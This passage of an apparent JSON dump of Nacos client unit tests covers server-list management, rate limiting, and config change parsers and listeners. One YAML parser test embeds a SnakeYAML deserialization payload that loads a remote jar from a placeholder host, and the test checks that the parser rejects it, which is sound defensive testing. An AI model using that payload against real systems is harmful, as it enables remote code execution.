org.mockito.ArgumentMatchers.contains;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass ConfigServerListManagerTest {\n    \n    @Mock\n    NacosRestTemplate nacosRestTemplate;\n    \n    NacosRestTemplate cachedNacosRestTemplate;\n    \n    HttpRestResult httpRestResult;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        Field restMapField = HttpClientBeanHolder.class.getDeclaredField(\"SINGLETON_REST\");\n        restMapField.setAccessible(true);\n        Map<String, NacosRestTemplate> restMap = (Map<String, NacosRestTemplate>) restMapField.get(null);\n        cachedNacosRestTemplate = restMap.get(\n                \"com.alibaba.nacos.client.config.impl.ConfigHttpClientManager$ConfigHttpClientFactory\");\n        restMap.put(\"com.alibaba.nacos.client.config.impl.ConfigHttpClientManager$ConfigHttpClientFactory\",\n                nacosRestTemplate);\n        httpRestResult = new HttpRestResult<>();\n        httpRestResult.setData(\"127.0.0.1:8848\");\n        httpRestResult.setCode(200);\n        when(nacosRestTemplate.get(contains(\"1.1.1.1:9090\"), any(), any(), any())).thenReturn(httpRestResult);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        if (null != cachedNacosRestTemplate) {\n            Field restMapField = HttpClientBeanHolder.class.getDeclaredField(\"SINGLETON_REST\");\n            restMapField.setAccessible(true);\n            Map<String, NacosRestTemplate> restMap = (Map<String, NacosRestTemplate>) restMapField.get(null);\n            restMap.put(\"com.alibaba.nacos.client.config.impl.ConfigHttpClientManager$ConfigHttpClientFactory\",\n                    cachedNacosRestTemplate);\n        }\n    }\n    \n    @Test\n    void testStart() throws NacosException {\n        NacosClientProperties mockedProperties = mock(NacosClientProperties.class);\n        when(mockedProperties.getProperty(PropertyKeyConst.ENDPOINT)).thenReturn(\"1.1.1.1\");\n        when(mockedProperties.getProperty(PropertyKeyConst.ENDPOINT_PORT)).thenReturn(\"9090\");\n        when(mockedProperties.getProperty(PropertyKeyConst.ENDPOINT_REFRESH_INTERVAL_SECONDS, \"30\")).thenReturn(\"30\");\n        when(mockedProperties.derive()).thenReturn(mockedProperties);\n        final ConfigServerListManager mgr = new ConfigServerListManager(mockedProperties);\n        try {\n            mgr.start();\n            assertEquals(\"Config-custom-1.1.1.1_9090_nacos_serverlist\", mgr.getName());\n        } finally {\n            mgr.shutdown();\n        }\n    }\n    \n    @Test\n    void testStartWithCustomServerName() throws NacosException {\n        NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        properties.setProperty(PropertyKeyConst.SERVER_NAME, \"test\");\n        properties.setProperty(PropertyKeyConst.SERVER_ADDR, \"1.1.1.1\");\n        final ConfigServerListManager mgr = new ConfigServerListManager(properties);\n        try {\n            mgr.start();\n            assertEquals(\"test\", mgr.getName());\n        } finally {\n            mgr.shutdown();\n        }\n    }\n    \n    @Test\n    void testGetter() throws NacosException {\n        {\n            NacosClientProperties mockedProperties = mock(NacosClientProperties.class);\n            when(mockedProperties.getProperty(PropertyKeyConst.SERVER_ADDR)).thenReturn(\"1.1.1.1\");\n            when(mockedProperties.getProperty(PropertyKeyConst.NAMESPACE)).thenReturn(\"namespace\");\n            when(mockedProperties.derive()).thenReturn(mockedProperties);\n            final ConfigServerListManager mgr = new ConfigServerListManager(mockedProperties);\n            mgr.start();\n            assertEquals(\"nacos\", mgr.getContextPath());\n            assertEquals(\"Config-fixed-namespace-1.1.1.1_8848\", mgr.getName());\n            assertEquals(\"namespace\", mgr.getTenant());\n            assertEquals(\"namespace\", mgr.getNamespace());\n            assertEquals(\"Config-fixed-namespace-1.1.1.1_8848\", mgr.getServerName());\n        }\n        \n        {\n            Properties properties = new Properties();\n            properties.put(PropertyKeyConst.CONTEXT_PATH, \"aaa\");\n            properties.put(PropertyKeyConst.ENDPOINT, \"1.1.1.1\");\n            properties.put(PropertyKeyConst.ENDPOINT_PORT, \"9090\");\n            \n            final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n            final ConfigServerListManager mgr2 = new ConfigServerListManager(nacosClientProperties);\n            mgr2.start();\n            assertEquals(\"aaa\", mgr2.getContextPath());\n        }\n        \n        // Test https\n        {\n            Properties properties = new Properties();\n            properties.put(PropertyKeyConst.CONTEXT_PATH, \"aaa\");\n            properties.put(PropertyKeyConst.SERVER_ADDR, \"https://1.1.1.1:8848\");\n            final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n            final ConfigServerListManager mgr2 = new ConfigServerListManager(nacosClientProperties);\n            mgr2.start();\n            assertEquals(\"aaa\", mgr2.getContextPath());\n            assertEquals(\"[https://1.1.1.1:8848]\", mgr2.getServerList().toString());\n        }\n        \n        {\n            Properties properties2 = new Properties();\n            properties2.put(PropertyKeyConst.CONTEXT_PATH, \"aaa\");\n            properties2.put(PropertyKeyConst.SERVER_ADDR, \"1.1.1.1:8848\");\n            \n            final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(properties2);\n            final ConfigServerListManager mgr3 = new ConfigServerListManager(nacosClientProperties);\n            mgr3.start();\n            assertEquals(1, mgr3.getServerList().size());\n            assertEquals(\"1.1.1.1:8848\", mgr3.getServerList().get(0));\n            assertEquals(\"[1.1.1.1:8848]\", mgr3.getUrlString());\n            assertTrue(mgr3.contain(\"1.1.1.1:8848\"));\n            assertEquals(\"ServerManager-Config-fixed-1.1.1.1_8848-[1.1.1.1:8848]\", mgr3.toString());\n        }\n        \n        {\n            Properties properties3 = new Properties();\n            properties3.put(PropertyKeyConst.CONTEXT_PATH, \"aaa\");\n            properties3.put(PropertyKeyConst.SERVER_ADDR, \"1.1.1.1:8848,2.2.2.2:8848\");\n            \n            final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(properties3);\n            final ConfigServerListManager mgr4 = new ConfigServerListManager(nacosClientProperties);\n            mgr4.start();\n            assertEquals(2, mgr4.getServerList().size());\n            assertEquals(\"1.1.1.1:8848\", mgr4.getServerList().get(0));\n            assertEquals(\"2.2.2.2:8848\", mgr4.getServerList().get(1));\n            assertTrue(mgr4.contain(\"1.1.1.1:8848\"));\n            assertEquals(\"ServerManager-Config-fixed-1.1.1.1_8848-2.2.2.2_8848-[1.1.1.1:8848, 2.2.2.2:8848]\",\n                    mgr4.toString());\n        }\n        \n        {\n            Properties properties4 = new Properties();\n            properties4.put(PropertyKeyConst.CONTEXT_PATH, \"aaa\");\n            properties4.put(PropertyKeyConst.SERVER_ADDR, \"1.1.1.1:8848;2.2.2.2:8848\");\n            \n            final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(properties4);\n            final ConfigServerListManager mgr5 = new ConfigServerListManager(nacosClientProperties);\n            mgr5.start();\n            assertEquals(2, mgr5.getServerList().size());\n            assertEquals(\"1.1.1.1:8848\", mgr5.getServerList().get(0));\n            assertEquals(\"2.2.2.2:8848\", mgr5.getServerList().get(1));\n            assertTrue(mgr5.contain(\"1.1.1.1:8848\"));\n            assertEquals(\"ServerManager-Config-fixed-1.1.1.1_8848-2.2.2.2_8848-[1.1.1.1:8848, 2.2.2.2:8848]\",\n                    mgr5.toString());\n        }\n        \n    }\n    \n    @Test\n    void testIterator() throws NacosException {\n        NacosClientProperties mockedProperties = mock(NacosClientProperties.class);\n        when(mockedProperties.getProperty(PropertyKeyConst.SERVER_ADDR)).thenReturn(\"1.1.1.1:8848\");\n        when(mockedProperties.getProperty(PropertyKeyConst.NAMESPACE)).thenReturn(\"aaa\");\n        when(mockedProperties.derive()).thenReturn(mockedProperties);\n        final ConfigServerListManager mgr = new ConfigServerListManager(mockedProperties);\n        mgr.start();\n        \n        // new iterator\n        final Iterator<String> it = mgr.iterator();\n        assertTrue(it.hasNext());\n        assertEquals(\"1.1.1.1:8848\", it.next());\n        \n        Iterator<String> initIterator = mgr.getIterator();\n        assertNotNull(initIterator);\n        mgr.refreshCurrentServerAddr();\n        assertNotNull(mgr.getIterator());\n        assertNotEquals(initIterator, mgr.getIterator());\n        \n        final String currentServerAddr = mgr.getCurrentServer();\n        assertEquals(\"1.1.1.1:8848\", currentServerAddr);\n        \n        final String nextServerAddr = mgr.genNextServer();\n        assertEquals(\"1.1.1.1:8848\", nextServerAddr);\n        \n        final Iterator<String> iterator1 = mgr.iterator();\n        assertTrue(iterator1.hasNext());\n        \n    }\n    \n    @Test\n    void testAddressServerBaseServerAddrsStr() throws NacosException {\n        Properties properties = new Properties();\n        String serverAddrStr = \"nacos.test.com:8080\";\n        properties.setProperty(PropertyKeyConst.SERVER_ADDR, serverAddrStr);\n        String endpointContextPath = \"/endpoint\";\n        properties.setProperty(PropertyKeyConst.CONTEXT_PATH, endpointContextPath);\n        final NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        ConfigServerListManager serverListManager = new ConfigServerListManager(clientProperties);\n        serverListManager.start();\n        assertEquals(1, serverListManager.getServerList().size());\n        assertTrue(serverListManager.getServerList().contains(serverAddrStr));\n    }\n    \n    @Test\n    void testAddressServerBaseEndpoint() throws NacosException {\n        Properties properties = new Properties();\n        String endpoint = \"1.1.1.1\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT, endpoint);\n        String endpointPort = \"9090\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT_PORT, endpointPort);\n        String endpointContextPath = \"/endpoint\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT_CONTEXT_PATH, endpointContextPath);\n        final NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        ConfigServerListManager serverListManager = new ConfigServerListManager(clientProperties);\n        serverListManager.start();\n        assertTrue(serverListManager.getAddressSource()\n                .startsWith(HTTP_PREFIX + endpoint + \":\" + endpointPort + endpointContextPath));\n    }\n    \n    @Test\n    void testInitParam() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        Properties properties = new Properties();\n        String endpoint = \"1.1.1.1\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT, endpoint);\n        String endpointPort = \"9090\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT_PORT, endpointPort);\n        String endpointContextPath = \"/endpointContextPath\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT_CONTEXT_PATH, endpointContextPath);\n        String contextPath = \"/contextPath\";\n        properties.setProperty(PropertyKeyConst.CONTEXT_PATH, contextPath);\n        final NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        ConfigServerListManager serverListManager = new ConfigServerListManager(clientProperties);\n        serverListManager.start();\n        Field providerField = AbstractServerListManager.class.getDeclaredField(\"serverListProvider\");\n        providerField.setAccessible(true);\n        ServerListProvider serverListProvider = (ServerListProvider) providerField.get(serverListManager);\n        \n        Field endpointField = EndpointServerListProvider.class.getDeclaredField(\"endpoint\");\n        endpointField.setAccessible(true);\n        String fieldEndpoint = (String) endpointField.get(serverListProvider);\n        assertEquals(endpoint, fieldEndpoint);\n        \n        Field endpointPortField = EndpointServerListProvider.class.getDeclaredField(\"endpointPort\");\n        endpointPortField.setAccessible(true);\n        String fieldEndpointPort = String.valueOf(endpointPortField.get(serverListProvider));\n        assertEquals(endpointPort, fieldEndpointPort);\n        \n        Field endpointContextPathField = EndpointServerListProvider.class.getDeclaredField(\"endpointContextPath\");\n        endpointContextPathField.setAccessible(true);\n        String fieldEndpointContextPath = String.valueOf(endpointContextPathField.get(serverListProvider));\n        assertEquals(endpointContextPath, fieldEndpointContextPath);\n        \n        Field contentPathField = AbstractServerListProvider.class.getDeclaredField(\"contextPath\");\n        contentPathField.setAccessible(true);\n        String fieldContentPath = String.valueOf(contentPathField.get(serverListProvider));\n        assertEquals(fieldContentPath, contextPath);\n    }\n    \n    @Test\n    void testWithEndpointContextPath() throws NacosException {\n        Properties properties = new Properties();\n        String endpoint = \"1.1.1.1\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT, endpoint);\n        String endpointPort = \"9090\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT_PORT, endpointPort);\n        String endpointContextPath = \"/endpointContextPath\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT_CONTEXT_PATH, endpointContextPath);\n        String contextPath = \"/contextPath\";\n        properties.setProperty(PropertyKeyConst.CONTEXT_PATH, contextPath);\n        final NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        ConfigServerListManager serverListManager = new ConfigServerListManager(clientProperties);\n        serverListManager.start();\n        assertTrue(serverListManager.getAddressSource().contains(endpointContextPath));\n        assertTrue(serverListManager.getName().contains(\"endpointContextPath\"));\n    }\n    \n    @Test\n    void testWithEndpointClusterName() throws NacosException {\n        Properties properties = new Properties();\n        String endpoint = \"1.1.1.1\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT, endpoint);\n        String endpointPort = \"9090\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT_PORT, endpointPort);\n        String testEndpointClusterName = \"testEndpointClusterName\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT_CLUSTER_NAME, testEndpointClusterName);\n        String testClusterName = \"testClusterName\";\n        properties.setProperty(PropertyKeyConst.CLUSTER_NAME, testClusterName);\n        String endpointContextPath = \"/endpointContextPath\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT_CONTEXT_PATH, endpointContextPath);\n        String contextPath = \"/contextPath\";\n        properties.setProperty(PropertyKeyConst.CONTEXT_PATH, contextPath);\n        final NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        ConfigServerListManager serverListManager = new ConfigServerListManager(clientProperties);\n        serverListManager.start();\n        String addressSource = serverListManager.getAddressSource();\n        assertTrue(addressSource.contains(endpointContextPath));\n        assertTrue(serverListManager.getName().contains(\"endpointContextPath\"));\n        \n        assertTrue(addressSource.contains(testEndpointClusterName));\n        assertTrue(serverListManager.getName().contains(testEndpointClusterName));\n        \n        assertFalse(addressSource.contains(testClusterName));\n        assertFalse(serverListManager.getName().contains(testClusterName));\n        \n    }\n    \n    @Test\n    void testWithoutEndpointContextPath() throws NacosException {\n        Properties properties = new Properties();\n        String endpoint = \"1.1.1.1\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT, endpoint);\n        String endpointPort = \"9090\";\n        properties.setProperty(PropertyKeyConst.ENDPOINT_PORT, endpointPort);\n        String contextPath = \"/contextPath\";\n        properties.setProperty(PropertyKeyConst.CONTEXT_PATH, contextPath);\n        final NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        ConfigServerListManager serverListManager = new ConfigServerListManager(clientProperties);\n        serverListManager.start();\n        String endpointContextPath = \"/endpointContextPath\";\n        \n        assertFalse(serverListManager.getAddressSource().contains(endpointContextPath));\n        assertTrue(serverListManager.getAddressSource().contains(contextPath));\n        assertFalse(serverListManager.getName().contains(\"endpointContextPath\"));\n        assertTrue(serverListManager.getName().contains(\"contextPath\"));\n    }\n    \n    @Test\n    void testUseEndpointParsingRule() throws NacosException {\n        System.setProperty(\"nacos.endpoint\", \"1.1.1.1\");\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"${nacos.endpoint}\");\n        properties.setProperty(PropertyKeyConst.IS_USE_ENDPOINT_PARSING_RULE, \"true\");\n        properties.setProperty(PropertyKeyConst.ENDPOINT_PORT, \"9090\");\n        final NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        ConfigServerListManager serverListManager = new ConfigServerListManager(clientProperties);\n        serverListManager.start();\n        String addressServerUrl = serverListManager.getAddressSource();\n        assertTrue(addressServerUrl.startsWith(\"http://1.1.1.1\"));\n    }\n    \n    @Test\n    void testUpdateCurrentServerAddr() throws NacosException {\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.SERVER_ADDR, \"1.1.1.1:8848,2.2.2.2:8848\");\n        final NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        ConfigServerListManager serverListManager = new ConfigServerListManager(clientProperties);\n        serverListManager.start();\n        assertTrue(\"1.1.1.1:8848,2.2.2.2:8848\".contains(serverListManager.getCurrentServer()));\n        serverListManager.updateCurrentServerAddr(null);\n        assertTrue(\"1.1.1.1:8848,2.2.2.2:8848\".contains(serverListManager.getCurrentServer()));\n        serverListManager.updateCurrentServerAddr(\"1.1.1.1:8848\");\n        assertEquals(\"1.1.1.1:8848\", serverListManager.getCurrentServer());\n    }\n    \n    @Test\n    void testStartWithEmptyServerList() throws NacosException {\n        Properties properties = new Properties();\n        properties.setProperty(\"EmptyList\", \"true\");\n        properties.setProperty(\"MockTest\", \"true\");\n        NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        final ConfigServerListManager mgr = new ConfigServerListManager(clientProperties);\n        try {\n            assertThrows(NacosException.class, mgr::start);\n        } finally {\n            mgr.shutdown();\n        }\n    }\n    \n    @Test\n    void testGenNextServer() throws NacosException {\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.SERVER_ADDR, \"1.1.1.1:8848,2.2.2.2:8848\");\n        final NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        ConfigServerListManager serverListManager = new ConfigServerListManager(clientProperties);\n        serverListManager.start();\n        String currentServer = serverListManager.getCurrentServer();\n        String expectedServer = \"1.1.1.1:8848,2.2.2.2:8848\".replace(currentServer, \"\");\n        expectedServer = expectedServer.replace(\",\", \"\");\n        assertEquals(expectedServer, serverListManager.genNextServer());\n        // Don't throw NoSuchElementException, re-generate server list and re-shuffle.\n        assertTrue(\"1.1.1.1:8848,2.2.2.2:8848\".contains(serverListManager.genNextServer()));\n    }\n    \n    @Test\n    void testGenNextServerWithMockConcurrent() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.SERVER_ADDR, \"1.1.1.1:8848,2.2.2.2:8848\");\n        final NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        ConfigServerListManager serverListManager = new ConfigServerListManager(clientProperties);\n        serverListManager.start();\n        Iterator<String> mockIterator = mock(Iterator.class);\n        Field field = ConfigServerListManager.class.getDeclaredField(\"iterator\");\n        field.setAccessible(true);\n        field.set(serverListManager, mockIterator);\n        // Mock async call gen next server, hasNext return `ture` and item be got by other thread.\n        when(mockIterator.hasNext()).thenReturn(true);\n        when(mockIterator.next()).thenThrow(new NoSuchElementException());\n        assertNotNull(serverListManager.genNextServer());\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/impl/LimiterTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass LimiterTest {\n    \n    @Test\n    void testIsLimit() {\n        String keyId = \"a\";\n        //For initiating.\n        assertFalse(Limiter.isLimit(keyId));\n        long start = System.currentTimeMillis();\n        for (int j = 0; j < 5; j++) {\n            assertFalse(Limiter.isLimit(keyId));\n        }\n        long elapse = System.currentTimeMillis() - start;\n        // assert  < limit 5qps\n        assertTrue(elapse > 980);\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/impl/PropertiesChangeParserTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.config.ConfigChangeItem;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass PropertiesChangeParserTest {\n    \n    private final PropertiesChangeParser parser = new PropertiesChangeParser();\n    \n    private final String type = \"properties\";\n    \n    @Test\n    void testType() {\n        assertTrue(parser.isResponsibleFor(type));\n    }\n    \n    @Test\n    void testAddKey() throws IOException {\n        Map<String, ConfigChangeItem> map = parser.doParse(\"\", \"app.name = nacos\", type);\n        assertNull(map.get(\"app.name\").getOldValue());\n        assertEquals(\"nacos\", map.get(\"app.name\").getNewValue());\n    }\n    \n    @Test\n    void testRemoveKey() throws IOException {\n        Map<String, ConfigChangeItem> map = parser.doParse(\"app.name = nacos\", \"\", type);\n        assertEquals(\"nacos\", map.get(\"app.name\").getOldValue());\n        assertNull(map.get(\"app.name\").getNewValue());\n    }\n    \n    @Test\n    void testModifyKey() throws IOException {\n        Map<String, ConfigChangeItem> map = parser.doParse(\"app.name = rocketMQ\", \"app.name = nacos\", type);\n        assertEquals(\"rocketMQ\", map.get(\"app.name\").getOldValue());\n        assertEquals(\"nacos\", map.get(\"app.name\").getNewValue());\n    }\n    \n}\n\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/impl/YmlChangeParserTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.config.ConfigChangeItem;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass YmlChangeParserTest {\n    \n    private final YmlChangeParser parser = new YmlChangeParser();\n    \n    private final String type = \"yaml\";\n    \n    @Test\n    void testType() {\n        assertTrue(parser.isResponsibleFor(type));\n    }\n    \n    @Test\n    void testAddKey() throws IOException {\n        Map<String, ConfigChangeItem> map = parser.doParse(\"\", \"app:\\n  name: nacos\", type);\n        assertNull(map.get(\"app.name\").getOldValue());\n        assertEquals(\"nacos\", map.get(\"app.name\").getNewValue());\n    }\n    \n    @Test\n    void testRemoveKey() throws IOException {\n        Map<String, ConfigChangeItem> map = parser.doParse(\"app:\\n  name: nacos\", \"\", type);\n        assertEquals(\"nacos\", map.get(\"app.name\").getOldValue());\n        assertNull(map.get(\"app.name\").getNewValue());\n    }\n    \n    @Test\n    void testModifyKey() throws IOException {\n        Map<String, ConfigChangeItem> map = parser.doParse(\"app:\\n  name: rocketMQ\", \"app:\\n  name: nacos\", type);\n        assertEquals(\"rocketMQ\", map.get(\"app.name\").getOldValue());\n        assertEquals(\"nacos\", map.get(\"app.name\").getNewValue());\n    }\n    \n    @Test\n    void testComplexYaml() throws IOException {\n        /*\n         * map:\n         *   key1: \"string\"\n         *   key2:\n         *     - item1\n         *     - item2\n         *     - item3\n         *   key3: 123\n         */\n        String s = \"map:\\n\" + \"  key1: \\\"string\\\"\\n\" + \"  key2:\\n\" + \"    - item1\\n\" + \"    - item2\\n\" + \"    - item3\\n\"\n                + \"  key3: 123    \\n\";\n        Map<String, ConfigChangeItem> map = parser.doParse(s, s, type);\n        assertEquals(0, map.size());\n    }\n    \n    @Test\n    void testChangeInvalidKey() {\n        assertThrows(NacosRuntimeException.class, () -> {\n            parser.doParse(\"anykey:\\n  a\",\n                    \"anykey: !!javax.script.ScriptEngineManager [\\n\" + \"  !!java.net.URLClassLoader [[\\n\"\n                            + \"    !!java.net.URL [\\\"http://[yourhost]:[port]/yaml-payload.jar\\\"]\\n\" + \"  ]]\\n\" + \"]\",\n                    type);\n        });\n    }\n}\n\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/listener/impl/AbstractConfigChangeListenerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.listener.impl;\n\nimport com.alibaba.nacos.api.config.ConfigChangeEvent;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayDeque;\nimport java.util.Deque;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass AbstractConfigChangeListenerTest {\n    \n    @Test\n    void receiveConfigInfo() {\n        final Deque<String> data = new ArrayDeque<String>();\n        AbstractConfigChangeListener a = new AbstractConfigChangeListener() {\n            @Override\n            public void receiveConfigChange(ConfigChangeEvent event) {\n            }\n            \n            @Override\n            public void receiveConfigInfo(String configInfo) {\n                super.receiveConfigInfo(configInfo);\n                data.offer(configInfo);\n            }\n        };\n        a.receiveConfigInfo(\"foo\");\n        final String actual = data.poll();\n        assertEquals(\"foo\", actual);\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/listener/impl/PropertiesListenerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.listener.impl;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayDeque;\nimport java.util.Deque;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass PropertiesListenerTest {\n    \n    @Test\n    void testReceiveConfigInfo() {\n        final Deque<Properties> q2 = new ArrayDeque<Properties>();\n        PropertiesListener a = new PropertiesListener() {\n            @Override\n            public void innerReceive(Properties properties) {\n                q2.offer(properties);\n            }\n        };\n        a.receiveConfigInfo(\"foo=bar\");\n        final Properties actual = q2.poll();\n        assertEquals(1, actual.size());\n        assertEquals(\"bar\", actual.getProperty(\"foo\"));\n        \n    }\n    \n    @Test\n    void testReceiveConfigInfoEmpty() {\n        final Deque<Properties> q2 = new ArrayDeque<Properties>();\n        PropertiesListener a = new PropertiesListener() {\n            @Override\n            public void innerReceive(Properties properties) {\n                q2.offer(properties);\n            }\n        };\n        a.receiveConfigInfo(\"\");\n        final Properties actual = q2.poll();\n        assertNull(actual);\n    }\n    \n    @Test\n    void testReceiveConfigInfoIsNotProperties() {\n        final Deque<Properties> q2 = new ArrayDeque<Properties>();\n        PropertiesListener a = new PropertiesListener() {\n            @Override\n            public void innerReceive(Properties properties) {\n                q2.offer(properties);\n            }\n        };\n        a.receiveConfigInfo(null);\n        final Properties actual = q2.poll();\n        assertNull(actual);\n    }\n    \n    @Test\n    void testInnerReceive() {\n        final Deque<Properties> q2 = new ArrayDeque<Properties>();\n        PropertiesListener a = new PropertiesListener() {\n            @Override\n            public void innerReceive(Properties properties) {\n                q2.offer(properties);\n            }\n        };\n        Properties input = new Properties();\n        input.put(\"foo\", \"bar\");\n        a.innerReceive(input);\n        final Properties actual = q2.poll();\n        assertEquals(1, actual.size());\n        assertEquals(\"bar\", actual.getProperty(\"foo\"));\n    }\n    \n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/utils/ContentUtilsTest.java",
